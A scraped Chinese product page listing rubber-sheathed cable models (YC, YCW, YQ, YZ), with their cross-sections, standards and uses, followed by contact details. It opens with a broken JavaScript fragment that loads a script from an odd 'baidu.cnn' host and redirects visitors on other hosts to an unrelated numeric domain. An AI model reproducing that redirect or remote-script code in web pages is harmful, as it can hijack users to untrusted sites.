else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com');
| 型号 | 产品名称 | 截面mm2 | 芯数 | 执行标准 | 主要适用范围 |
| YC | 通用橡套电缆 | 1.5-400 1.5-95 1.5-150 1.5-25 | 1 2 3、4 5 | GB5013.2-97 | 用于交流电压450/750V及以下各种移动电器设备,能承受较大的机械外力作用,长期工作温度应不超过65℃ |
| YCW | 通用橡套软电缆 | 1.5-400 1.5-25 1.5-150 1.5-25 | 1 2 3 4 5 | GB5013.4-97 | 用于交流电压450/750V及以下各种移动电器设备,适用于户外或接触油污场合,长期工作温度应不超过60℃ |
| 型号 | 名称 | 使用范围 |
| YQ-0.3/0.5 YQW-0.3/0.5 | 轻型橡套电缆 | 用于轻型移动电器设备和工具 |
| YZ-0.3/0.5 | 普通强度橡套软线 | |
| YZW-0.3/0.5 | 普通氯丁或其它相当的合成弹性体橡套软线 | 用于各种移动电器设备和工具 |
| YC-450/750 YCW-450/750 | 重型橡套软电缆 | 用于各种移动电器设备,能承受较大 |
相关产品
免责声明
客服热线: 13199863987(同微信)
加盟热线: 13199863987(同微信)
媒体合作: 0571-87759945
投诉热线: 0571-87759942

下载仪表站APP

Ybzhan手机版

Ybzhan公众号

Ybzhan小程序